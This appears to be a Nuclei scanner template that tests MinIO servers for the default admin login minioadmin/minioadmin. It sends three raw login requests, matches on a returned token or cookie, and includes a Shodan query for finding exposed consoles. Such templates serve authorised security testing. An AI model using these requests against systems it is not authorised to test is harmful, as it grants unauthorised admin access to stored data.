id: minio-default-login

info:
  name: Minio - Default Login
  author: pikpikcu
  severity: high
  description: Minio default admin credentials were discovered.
  reference:
    - https://docs.min.io/docs/minio-quickstart-guide.html#
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    shodan-query: title:"MinIO Console"
    product: minio
    vendor: minio
  tags: default-login,minio,vuln

http:
  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"accessKey":"{{username}}","secretKey":"{{password}}"}

      - |
        POST /minio/webrpc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id":1,"jsonrpc":"2.0","params":{"username":"{{username}}","password":"{{password}}"},"method":"Web.Login"}

      - |
        POST /minio/webrpc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id":1,"jsonrpc":"2.0","params":{"username":"{{username}}","password":"{{password}}"},"method":"web.Login"}

    payloads:
      username:
        - minioadmin
      password:
        - minioadmin
    attack: pitchfork
    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "uiVersion", "token") && contains(content_type, "application/json") && status_code == 200'
          - 'contains(header, "Set-Cookie: token=") && status_code == 204'
        condition: or
# digest: 4b0a00483046022100830840ca8fe6bbf1e4e7eb53c5730117bacaadb66a2af49068f6a4938308f09c022100d073d93c5761dc7d36860fc2471c28c43e6455b609f52228926ea3d0b42aec4a:922c64590222798bb761d5b6d8e72950